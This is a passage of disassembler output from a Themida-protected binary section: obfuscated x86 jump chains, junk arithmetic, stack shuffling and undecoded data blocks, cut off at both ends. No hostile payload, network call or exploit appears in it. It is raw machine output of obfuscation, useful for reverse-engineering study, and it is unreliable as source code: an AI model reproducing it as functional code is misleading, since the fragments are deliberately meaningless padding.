		dd 7017h, 0C581E589h, 4, 4ED81h, 2C870000h, 24248B24h
		dd 0BA241489h, 78670716h, 148BD001h, 5850E924h,	34870000h
		dd 6F685C24h, 0E9000044h, 6364h, 80E9574Bh, 89000078h
		dd 0EBBD242Ch, 0F724097Ch, 4EDC1D5h, 674AE581h,	0BB532146h
		dd 647F4375h, 65C0C381h, 0DD31AEACh, 5DE9315Bh,	6859CD21h
		dd 2C34h, 0BB241C89h, 53476531h, 0E95BDD31h, 2E7Eh
; ---------------------------------------------------------------------------


loc_55B190:				; CODE XREF: Themida_:00562383j
		add	ebp, ecx
		pop	ecx
		jmp	loc_56605A
; ---------------------------------------------------------------------------
		dd 0FF648BE9h, 240C89FFh, 81E9008Fh, 81FFFF64h,	1563D8C3h
		dd 0E9CB293Eh, 8228h
; ---------------------------------------------------------------------------


loc_55B1B4:				; CODE XREF: Themida_:00553F74j
		add	eax, ebp
		jmp	loc_55B09C
; ---------------------------------------------------------------------------
		db 31h
		dd 2434FFD9h
		db 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 1F893756h
		and	edx, 77B14B9Bh
		xor	edx, 48A61126h
		shl	edx, 2
		add	edx, 72831D4Ch
		jmp	loc_557A8C
; ---------------------------------------------------------------------------
		dd 0B0A9E953h, 0C14BFFFFh, 0C38104EBh, 98E48C5Dh, 895BDE31h
		dd 0F2815EF2h, 7392759Ah, 728668h, 3E92E900h, 0E7810000h
		dd 4DB17C88h, 0C103EFC1h, 0F78103EFh, 256868C6h, 93D2C781h
		dd 0FB89DAA3h, 5BB9E9h,	242C8B00h, 0AD30E9h, 56FEB800h
		dd 0C529C2BEh, 0A6EAE958h, 3C33FFFFh, 9AB0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B256:				; CODE XREF: Themida_:0056421Ej
		add	ecx, 4FD23345h
		push	eax
		mov	eax, 465B5F3Bh
		add	ecx, 4B83C17h
		add	ecx, eax
		sub	ecx, 4B83C17h
		pop	eax
		push	ebx
		mov	ebx, 282A3EF1h
		push	edx
		mov	edx, 7C04119h
		xor	ebx, edx
		mov	edx, [esp]
		jmp	loc_554F9A
; ---------------------------------------------------------------------------


loc_55B287:				; CODE XREF: Themida_:005582CAj
		pop	dword ptr [esp]
		jmp	loc_55DD5F
; ---------------------------------------------------------------------------


loc_55B28F:				; CODE XREF: Themida_:0055D6B7j
		push	ebp
		add	dword ptr [esp], 7A45ECEh
		pop	edi
		push	edx
		mov	edx, 64C172FAh
		inc	edx
		add	edx, 0A2E2EBD3h
		sub	edi, edx
		jmp	loc_55B96F
; ---------------------------------------------------------------------------
		dd 685EF089h, 350h, 18CEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55B2B9:				; CODE XREF: Themida_:0055B710j
		dec	dword ptr [esp]
		pushf
		jmp	loc_551628
; ---------------------------------------------------------------------------


loc_55B2C2:				; CODE XREF: Themida_:00556BA8j
		inc	esi
		jmp	loc_55F9C5
; ---------------------------------------------------------------------------
		dd 24048B66h, 0D274E956h, 0BF57FFFFh, 0FDAC86C9h, 0FFF188E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B2DD:				; CODE XREF: Themida_:00552CB3j
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		jmp	loc_565063
; ---------------------------------------------------------------------------


loc_55B2E8:				; CODE XREF: Themida_:00566043j
		xor	ebx, [esp]
		pop	esp
		jmp	loc_554F28
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0C6h
		dd 4, 73B968h, 243C8900h, 280B6855h, 2C8B4FDCh,	4C48124h
		dd 81000000h, 5D7A09F5h, 1C9AE91Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B31A:				; CODE XREF: Themida_:00565E66j
		add	eax, 4
		sub	eax, 4
		jmp	loc_5606CF
; ---------------------------------------------------------------------------
		db 0F6h
		dd 52C3FEDBh, 0C6803EB6h, 735AE938h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B336:				; CODE XREF: Themida_:0055DC2Bj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_561890
; ---------------------------------------------------------------------------


loc_55B349:				; CODE XREF: Themida_:0056361Dj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_556C0F
; ---------------------------------------------------------------------------
		dw 0D2F6h
		dd 5101C280h, 0E1C056B1h, 1CE98005h, 16E9CA00h,	8BFFFFC9h
		dd 4092424h, 0B1E99C24h, 0B2FFFF62h, 59CA005Ah,	3245428h
		dd 8B665A66h, 14E92404h, 810000A5h, 727668EEh, 68DE013Fh
		dd 68ABh, 0E9241C89h, 5B4Ah, 0E9FEE955h, 8966FFFFh, 56662424h
		dd 7DEE68h, 242C8900h, 2BD66h, 8BEE8966h, 0C481242Ch, 4
		dd 0FFE15EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B3C9:				; CODE XREF: Themida_:0055E412j
		inc	edx
		sub	edx, 0EB442FDEh
		sub	ecx, edx
		jmp	loc_563B25
; ---------------------------------------------------------------------------
aJqvVsQjsL	db ')Ø-†q‚\VS»',0Bh,'"qJé·‹',0
		align 2


loc_55B3EA:				; CODE XREF: Themida_:00559B2Aj
		push	8FCh
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_5616C9
; ---------------------------------------------------------------------------
aTzst		db 'TZéT',0Ah,0
		dd 89575A00h, 5BB951E7h, 813F3D02h, 3D0257E9h, 35D5E93Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B422:				; CODE XREF: Themida_:00560595j
		sub	esi, ecx
		jmp	loc_552C98
; ---------------------------------------------------------------------------


loc_55B429:				; CODE XREF: Themida_:00553115j
		add	ecx, eax
		jmp	loc_563370
; ---------------------------------------------------------------------------
		dd 142CC7BEh, 68555112h, 14C4BA9h, 21BE565Dh, 0E9487617h
		dd 0FFFFF543h, 50BD68h,	243C8900h, 76253B68h, 0B8505F59h
		dd 5BB03724h, 8639925h,	48D8F75Eh, 636BA52h, 6CE90376h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B46F:				; CODE XREF: Themida_:005604FCj
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 746327BAh
		push	edx
		push	ebx
		push	ebp
		push	edx
		mov	edx, 40272FC1h
		mov	ebp, edx
		pop	edx
		mov	ebx, ebp
		pop	ebp
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	esi, edx
		jmp	loc_5526D9
; ---------------------------------------------------------------------------
		dw 0D321h
		dd 0FFC3835Ah, 255EE9h,	0FFC83100h, 34FF2434h, 653CE924h
		dd 0C1810000h, 4, 5C240C87h, 17F2E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B4C6:				; CODE XREF: Themida_:00560BB3j
		push	ebx
		push	525A406Bh
		pop	ebx
		jmp	loc_565837
; ---------------------------------------------------------------------------
		dw 0E281h
		dd 3FC94BE1h, 0DF45F281h, 0D501F469h, 8879E9h, 0FEBD5500h
		dd 5271D93Fh, 577673BAh, 5AD52940h, 8E1BB53h, 95E96368h
		dd 89000053h, 69E9240Ch, 54FFFF8Bh, 8324048Fh, 5A042404h
		dd 46857h, 15F0000h
		db 0FAh, 5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_5651F5
; ---------------------------------------------------------------------------
		db 68h
		dd 35E9h, 0FF8DA1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B54D:				; CODE XREF: Themida_:005552FEj
		neg	esi
		shl	esi, 7
		inc	esi
		not	esi
		jmp	loc_559EF1
; ---------------------------------------------------------------------------


loc_55B55A:				; CODE XREF: Themida_:0055446Fj
		push	643Dh
		jmp	loc_55BFF8
; ---------------------------------------------------------------------------
		dd 0CAE9E958h, 8953FFFFh, 4AE950E3h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_562EC8
; ---------------------------------------------------------------------------
		db 89h
		dd 77B850E5h, 350FCA49h, 7B4C0D7Ah, 25796C25h, 4008354Eh
		dd 0C5014404h, 57DEE9h,	72866800h, 4890000h, 56E6B824h
		dd 0C5296E63h, 81C50158h, 6356E6C5h, 0E955586Eh, 0FFFF7397h
; ---------------------------------------------------------------------------


loc_55B5B8:				; CODE XREF: Themida_:0055FED3j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5552CC
; ---------------------------------------------------------------------------


loc_55B5D8:				; CODE XREF: Themida_:0055A3B8j
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 2F1C17A4h
		jmp	loc_5528E6
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 69h
		dd 89FFFF92h, 2DE92404h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B5FB:				; CODE XREF: Themida_:0055B070j
		shl	ebp, 2
		shr	ebp, 3
		jmp	loc_552B5F
; ---------------------------------------------------------------------------


loc_55B606:				; CODE XREF: Themida_:00563CEAj
		pop	esp
		mov	[esp], edx
		jmp	loc_553817
; ---------------------------------------------------------------------------
		db 89h
		dd 0E2892414h, 4C281h, 0C2810000h, 4, 8B241487h, 81572424h
		dd 4ECh, 2480E900h, 4890000h, 5937B824h, 3335618Fh, 81618F59h
		dd 4ECh, 242C8900h, 0CF311DBDh,	8BEF016Dh, 0EEE9242Ch
		dd 0BBFFFFBBh, 506914A4h, 8102E3C1h, 1A423FCBh,	43D3F760h
		dd 6418CB81h, 0FBE95172h, 100005Dh, 68505AD7h, 662Bh, 3E05E9h
		dd 0DAE98100h, 0E90B3D7Eh, 0FFFFEFB3h, 89F0E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B692:				; CODE XREF: Themida_:00553D50j
		neg	ebx
		sub	ebx, 4FFDB6CEh
		jmp	loc_55986F
; ---------------------------------------------------------------------------
		db 46h
		dd 180EE681h, 0EE814A1Fh, 8050802h, 6F410F05h, 2DF0017Dh
		dd 7D6F410Fh, 0E956555Eh, 0FFFFE1EDh
; ---------------------------------------------------------------------------


loc_55B6C0:				; CODE XREF: Themida_:00559AECj
		add	ecx, esi
		sub	ecx, 37C33BBFh
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_551628
; ---------------------------------------------------------------------------
		dd 62E95659h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B703:				; CODE XREF: Themida_:00552798j
		add	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55B2B9
; ---------------------------------------------------------------------------


loc_55B715:				; CODE XREF: Themida_:0055CBC8j
		not	ebp
		jmp	loc_554D39
; ---------------------------------------------------------------------------
		dd 1069C281h, 0D1293501h, 55E2E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B72A:				; CODE XREF: Themida_:0055F274j
		pop	esi
		xor	esi, 17DC718Bh
		mov	edi, esi
		pop	esi
		dec	edi
		inc	edi
		jmp	loc_553E81
; ---------------------------------------------------------------------------


loc_55B73B:				; CODE XREF: Themida_:0055BE38j
					; Themida_:0055CABEj
		push	ebx
		jmp	loc_559EA7
; ---------------------------------------------------------------------------
		db 0BAh, 0B1h, 3Bh
		dd 0DAF70376h, 0FFC6B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B74D:				; CODE XREF: Themida_:00553A74j
		mov	edx, [esp]
		jmp	loc_565FD1
; ---------------------------------------------------------------------------


loc_55B755:				; CODE XREF: Themida_:005596F5j
					; Themida_:00561E29j
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	edi
		push	esp
		jmp	loc_55446E
; ---------------------------------------------------------------------------
		dw 5352h
		dd 2BBh, 5BDA8900h, 0C3BA52h, 3BE91D8Eh
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B797:				; CODE XREF: Themida_:0055F2E8j
		not	ebp
		jmp	loc_5607C7
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 96682404h, 0E9000043h, 27DFh
; ---------------------------------------------------------------------------


loc_55B7AC:				; CODE XREF: Themida_:00561FACj
		and	eax, edx
		jmp	loc_55ECD3
; ---------------------------------------------------------------------------


loc_55B7B3:				; CODE XREF: Themida_:0055E8C6j
		not	dword ptr [esp]
		pop	edi
		inc	edi
		shl	edi, 6
		xor	edi, 0D307D2B5h
		jmp	loc_554FD0
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 9D60E904h, 0E92DFFFFh, 14ECA46h, 0CDE958C1h,	8900005Ch
		dd 0E589242Ch, 85A4E9h,	24248B00h, 50241C89h, 0FFB502E9h
		dd 0FB015AFFh, 99BD5552h, 0E904B83Ch, 0FFFFCAB7h
; ---------------------------------------------------------------------------


loc_55B800:				; CODE XREF: Themida_:00561E51j
		mov	ebp, 29BB072Fh
		or	esi, ebp
		pop	ebp
		or	esi, 6E7914A6h
		push	ecx
		mov	ecx, 47092EAAh
		shr	ecx, 8
		or	ecx, 459556ACh
		add	ecx, 32841109h
		and	esi, ecx
		pop	ecx
		push	eax
		mov	eax, 0F177F64Ah
		sub	esi, eax
		jmp	loc_559916
; ---------------------------------------------------------------------------


loc_55B833:				; CODE XREF: Themida_:0055C21Fj
		shr	esi, 2
		shr	esi, 6
		xor	esi, 6113C07Ch
		add	ebx, esi
		push	dword ptr [esp]
		jmp	loc_55DCE9
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 12E90000h, 31FFFF88h, 1C33241Ch, 0CD35C24h, 0C5E99C24h
		dd 81FFFF5Dh, 0C20DF6EEh, 48B5F34h, 0E3895324h,	5ADC68h
		dd 242C8900h, 0AD58E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B87E:				; CODE XREF: Themida_:00551725j
		inc	eax
		sub	eax, 0EE493869h
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_552E0F
; ---------------------------------------------------------------------------
		db 1, 0F2h, 0E9h
		dd 23DCh, 0E92434FFh, 0FFFF78C5h, 4C181h, 0C870000h, 0C7815C24h
		dd 4, 4C781h, 3C330000h, 668CE924h, 0E8290000h,	0F6E9505Dh
		dd 5CFFFF89h, 5308EFC1h, 0B87DAEBBh, 5BDF3100h,	0E5E0E957h
		dd 158FFFFh, 0A70BE9EEh, 3C87FFFFh, 34895C24h, 81E68924h
		dd 4C6h, 1DCE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B8F6:				; CODE XREF: Themida_:00565CBCj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 22h, 5Dh
		dd 0E95DFFFFh, 4E33h
; ---------------------------------------------------------------------------


loc_55B90C:				; CODE XREF: Themida_:00564B80j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_55BA52
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C4h
		dd 4, 405h, 24043300h, 0FF9E25E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B935:				; CODE XREF: Themida_:005560E2j
		pop	edi
		xor	ebx, ecx
		jmp	loc_564C44
; ---------------------------------------------------------------------------
		db 31h,	0C8h, 59h
		dd 8758C229h, 0E95C2414h, 8435h, 4C50E956h, 0C7810000h
		dd 115E41DDh, 5FD2E781h, 0F781291Fh, 293C351Bh,	7F97EF81h
		dd 34E9292Bh
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B96F:				; CODE XREF: Themida_:0055B2A7j
		mov	edx, [esp]
		jmp	loc_551D86
; ---------------------------------------------------------------------------


loc_55B977:				; CODE XREF: Themida_:00559D39j
		mov	[esp], ebp
		mov	ebp, 18886E22h
		or	ebp, 4155919h
		jmp	loc_556A71
; ---------------------------------------------------------------------------
		dw 0B450h
		dd 0E9CCFE90h, 1400h, 2434FF5Eh, 4C4815Dh, 56000000h, 51024668h
		dd 24348B7Fh, 0F704C483h, 3EEC1D6h, 0FFEC9EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B9B5:				; CODE XREF: Themida_:00556CABj
		push	ebp
		push	edx
		mov	edx, 642873A1h
		mov	ebp, 9BD88C5Fh
		jmp	loc_563947
; ---------------------------------------------------------------------------
		dw 665Ch
		dd 66C8AF0Fh, 0BDE99C51h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B9D3:				; CODE XREF: Themida_:00564D50j
		mov	ebp, 29D71E42h
		jmp	loc_552BCB
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0FFFB96E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B9E5:				; CODE XREF: Themida_:005627B9j
		dec	al
		sub	al, 97h
		add	cl, al
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	al, cl
		mov	dl, al
		pop	eax
		pop	ecx
		dec	dl
		jmp	loc_566369
; ---------------------------------------------------------------------------
aLSU		db '‹$$éÆž',0
		dw 6600h
		dd 52240489h, 0FF77B8E9h, 684C05FFh, 0FF056EB3h, 5B2E6C66h
		dd 0FFD4ADE9h, 62E95EFFh, 4D000063h, 89E1C581h,	0EB89A696h
		dd 59BD555Dh, 0C1473843h, 0D5F703EDh, 0D7E1F581h, 0EB018456h
		dd 0B6EB815Dh, 979A8C7h, 0BDA7E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BA52:				; CODE XREF: Themida_:0055B91Cj
		add	esp, 4
		add	esp, 4
		push	eax
		mov	eax, 17F849B0h
		jmp	loc_55EBA4
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 25h
		dd 0C11EF90Ah, 0BDE908EAh, 81FFFF76h, 42404h, 32E90000h
		dd 55000002h, 4BDh, 6FB4E900h, 0C4800000h, 0D6F480CDh
		dd 48BE330h, 4C48324h, 0D8289704h, 0C8E9972Ch, 1000087h
		dd 5F04247Ch, 8124048Fh, 42404h, 505E0000h, 468h, 0C6015800h
		dd 6824048Bh, 86Eh, 89243489h, 0A180E9E6h, 6857FFFFh, 4
		dd 12EE815Fh, 293CEC7Fh, 12C681FEh, 5F3CEC7Fh, 31243433h
		dd 34332434h, 24248B24h, 54240489h, 0A8ACE958h,	895CFFFFh
		dd 0C5BA2414h, 8127F067h, 0A5460DEAh, 0D8E28108h, 0E9057155h
		dd 0FFFFC59Ch, 592434FFh, 0FFBB26E9h, 241C87FFh, 8924248Bh
		dd 5EBE2434h, 68182A27h, 43D6h,	0BF243C89h, 53BF1A1Ch
		dd 469CEF81h, 0CF8147B2h, 56170310h, 815CEF81h,	0F2E90FA9h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BB53:				; CODE XREF: Themida_:0055BFCFj
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	edi
		mov	edi, 53F1281Ah
		mov	eax, 53F1281Bh
		xor	eax, edi
		mov	edi, [esp]
		jmp	loc_558925
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 82E95924h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55BB7B:				; CODE XREF: Themida_:0055868Cj
		add	ecx, ebp
		add	ecx, 4D707553h
		push	esi
		jmp	loc_554B4A
; ---------------------------------------------------------------------------


loc_55BB89:				; CODE XREF: Themida_:00559D85j
		shr	edi, 3
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 604C5111h
		neg	esi
		dec	esi
		jmp	loc_5533CF
; ---------------------------------------------------------------------------
		db 89h
		dd 4EC81E0h, 89000000h,	4BD242Ch, 0E9000000h, 0FFFFF54Dh
		dd 54E9CFFEh, 66FFFFD2h, 5324048Bh, 90DAE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BBD6:				; CODE XREF: Themida_:0056605Dj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	eax, ebx
		jmp	loc_562E85
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0D9E92434h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BBEF:				; CODE XREF: Themida_:0055644Aj
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	787Ch
		mov	[esp], edi
		mov	edi, 1CCE0B68h
		jmp	loc_5637CE
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 1000000h, 0E9E958C5h, 29FFFFE3h, 9353E9DEh, 8EB4FFFFh
		dd 525AF430h, 0E9E907B2h, 6600003Eh, 0F5E932FFh, 8BFFFF59h
		dd 0C481240Ch, 4, 2133E305h, 57D8017Fh,	0FFECB0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BC49:				; CODE XREF: Themida_:0055CE93j
		mov	edx, ebp
		jmp	loc_55317A
; ---------------------------------------------------------------------------
		dd 4C181h, 0E9830000h, 240C8704h, 2404895Ch, 8904EC83h
		dd 4832424h, 51580424h,	297E65B9h, 3E1C115h, 0F32CF181h
		dd 0C801A94Bh, 8FA0E959h, 74FF0000h, 34FF0424h,	54565824h
		dd 7F30E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BC92:				; CODE XREF: Themida_:00562448j
		xor	ecx, [esp]
		mov	esp, [esp]
		push	4C05h
		mov	[esp], ebx
		jmp	loc_565B87
; ---------------------------------------------------------------------------
		db 87h,	0DEh, 0C1h
		dd 0BF5702E6h, 3C730C6Ah, 603BE9h, 24048F00h, 4240481h
		dd 5E000000h, 170268h, 240C8900h, 752DC9B9h, 4EC8360h
		dd 0BD242C89h, 62EA4F70h, 0FFD485E9h, 0E4E953FFh, 5EFFFF70h
		dd 0ABE95455h, 5DFFFF98h, 2A76E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BCF2:				; CODE XREF: Themida_:005602F3j
		add	ecx, 3A860367h
		add	ecx, eax
		sub	ecx, 3A860367h
		jmp	loc_562A4B
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd 5C240C33h, 53C9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BD11:				; CODE XREF: Themida_:00552E67j
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 44772484h
		shr	ecx, 3
		or	ecx, 10167FA1h
		jmp	loc_55DC10
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 71C852C5h, 854CF81h,	4F4F5022h, 0FF6F2BE9h, 665266FFh
		dd 6678EFBAh, 5A66D501h, 2EC81h, 89660000h, 0BA662414h
		dd 166B808h, 665A66D5h,	2C8BEA31h, 4C48124h, 8B000000h
		dd 0C483242Ch, 0E2C16604h, 0E2C16607h, 0E2816605h, 57666157h
		dd 31FBF66h, 66FA0166h,	0D001665Fh, 0E952565Ah,	2B37h
; ---------------------------------------------------------------------------


loc_55BD94:				; CODE XREF: Themida_:0055FF78j
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		jmp	loc_5626E7
; ---------------------------------------------------------------------------
aX@hi		db 'X@h¨',0Dh,0
		dw 8900h
		dd 8EE9243Ch
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BDAF:				; CODE XREF: Themida_:0055990Bj
		add	esp, 4
		and	eax, edx
		jmp	loc_563A54
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 0C6830000h, 24348704h, 9951E95Ch, 0EC810000h
		dd 4, 52BDE9h, 24148B00h, 0E9E68956h, 2846h, 0E689565Bh
		dd 0FF77B7E9h, 0DDEE81FFh, 31B02020h, 0DCAAE9C6h, 0C8BFFFFh
		dd 4C48124h, 0E9000000h, 5615h
; ---------------------------------------------------------------------------


loc_55BE08:				; CODE XREF: Themida_:005583E8j
		push	esi
		push	esp
		pop	esi
		push	ebp
		mov	ebp, 44A8388Eh
		add	ebp, 1
		sub	ebp, 44A8388Bh
		add	esi, ebp
		pop	ebp
		push	edx
		mov	edx, 4
		sub	esi, 7B9026B7h
		add	esi, edx
		add	esi, 7B9026B7h
		pop	edx
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55B73B
; ---------------------------------------------------------------------------
		db 35h,	1Bh, 12h
aS?a		db 'š[é? ',0
		dw 8300h
		dd 2BE904C4h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BE4F:				; CODE XREF: Themida_:005577F4j
		push	edx
		jmp	loc_558C81
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 241C875Ch, 0FF9EBDE9h, 4BE56FFh, 1000000h, 85E95EF2h
		dd 29000038h, 0FA015EF2h, 2296BE56h, 0F2010699h, 8124348Bh
		dd 4C4h, 2434FF00h, 793BE95Fh, 0F680FFFFh, 0B7F680D3h
		dd 0FFECB2E9h, 0E28952FFh, 4C281h, 0C2830000h, 24148704h
		dd 5024248Bh, 156050B8h, 7DD0E937h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BEB6:				; CODE XREF: Themida_:0055A07Bj
		sub	ecx, 5A477877h
		add	ecx, ebx
		push	edi
		mov	edi, 3C4622E5h
		and	edi, 755D21D0h
		jmp	loc_551708
; ---------------------------------------------------------------------------


loc_55BECF:				; CODE XREF: Themida_:00554C61j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55A822
; ---------------------------------------------------------------------------
		dd 1D4268h, 240C8900h, 8220E668h, 240C8B11h, 0FFFEBCE9h
		dd 566850FFh, 54000064h, 0E924048Fh, 6399h, 20C7E95Ch
		dd 0F7430000h, 0BFBE56DBh, 31034008h, 0D5F9E9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BF22:				; CODE XREF: Themida_:00552E3Fj
		add	edx, ebx
		pop	ebx
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_55E86F
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_55C668
; ---------------------------------------------------------------------------


loc_55BF4E:				; CODE XREF: Themida_:00560AD3j
		sub	ebp, 4
		jmp	loc_552988
; ---------------------------------------------------------------------------


loc_55BF56:				; CODE XREF: Themida_:005544C4j
		and	ebx, ecx
		jmp	loc_55AB3D
; ---------------------------------------------------------------------------


loc_55BF5D:				; CODE XREF: Themida_:005540EEj
		neg	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		dec	edx
		not	edx
		sub	edx, 5A366AFDh
		sub	[edi+24h], edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4


loc_55BF7F:				; CODE XREF: Themida_:00562581j
		push	ecx
		mov	ecx, esp
		push	2B40h
		jmp	loc_55FBE9
; ---------------------------------------------------------------------------


loc_55BF8C:				; CODE XREF: Themida_:005568F5j
		add	ebp, ecx
		pop	ecx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		push	edx
		push	edi
		mov	edi, 1CD4255Eh
		jmp	loc_55EB7A
; ---------------------------------------------------------------------------
		db 87h
		dd 80E92434h, 5B000002h, 5B09E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BFB5:				; CODE XREF: Themida_:005649E4j
		push	esi
		push	ebp
		push	6096h
		jmp	loc_554C9D
; ---------------------------------------------------------------------------


loc_55BFC1:				; CODE XREF: Themida_:00563381j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55BB53
; ---------------------------------------------------------------------------
		dd 0F2D2E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BFDA:				; CODE XREF: Themida_:005627F7j
		not	ebp
		sub	ebp, 358B04AEh
		not	ebp
		jmp	loc_559375
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 8904EC83h, 0E9552434h, 0FFFF7901h
; ---------------------------------------------------------------------------


loc_55BFF8:				; CODE XREF: Themida_:0055B55Fj
		mov	[esp], eax
		mov	eax, 717A35AFh
		shl	eax, 3
		push	esi
		mov	esi, 27B276A5h
		push	edi
		mov	edi, 29D71D6h
		sub	eax, edi
		pop	edi
		add	eax, 6CDE543Bh
		jmp	loc_552FD5
; ---------------------------------------------------------------------------
